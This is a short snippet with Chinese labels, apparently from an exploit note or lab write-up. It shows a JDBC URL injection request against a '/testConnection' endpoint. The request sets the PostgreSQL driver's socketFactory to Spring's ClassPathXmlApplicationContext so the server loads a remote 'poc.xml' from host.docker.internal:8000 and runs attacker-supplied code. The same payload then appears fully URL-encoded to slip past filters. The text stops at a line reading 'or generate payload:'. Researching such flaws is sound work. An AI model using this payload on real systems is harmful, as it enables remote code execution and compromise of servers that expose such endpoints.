/testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://host.docker.internal:8000/poc.xml&username=123&password=123

url编码：

/testConnection?driver=org.postgresql.Driver&url=%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%35%34%33%32%2f%74%65%73%74%3f%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%3d%6f%72%67%2e%73%70%72%69%6e%67%66%72%61%6d%65%77%6f%72%6b%2e%63%6f%6e%74%65%78%74%2e%73%75%70%70%6f%72%74%2e%43%6c%61%73%73%50%61%74%68%58%6d%6c%41%70%70%6c%69%63%61%74%69%6f%6e%43%6f%6e%74%65%78%74%26%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%41%72%67%3d%68%74%74%70%3a%2f%2f%68%6f%73%74%2e%64%6f%63%6b%65%72%2e%69%6e%74%65%72%6e%61%6c%3a%38%30%30%30%2f%70%6f%63%2e%78%6d%6c&username=123&password=123

或者生成payload：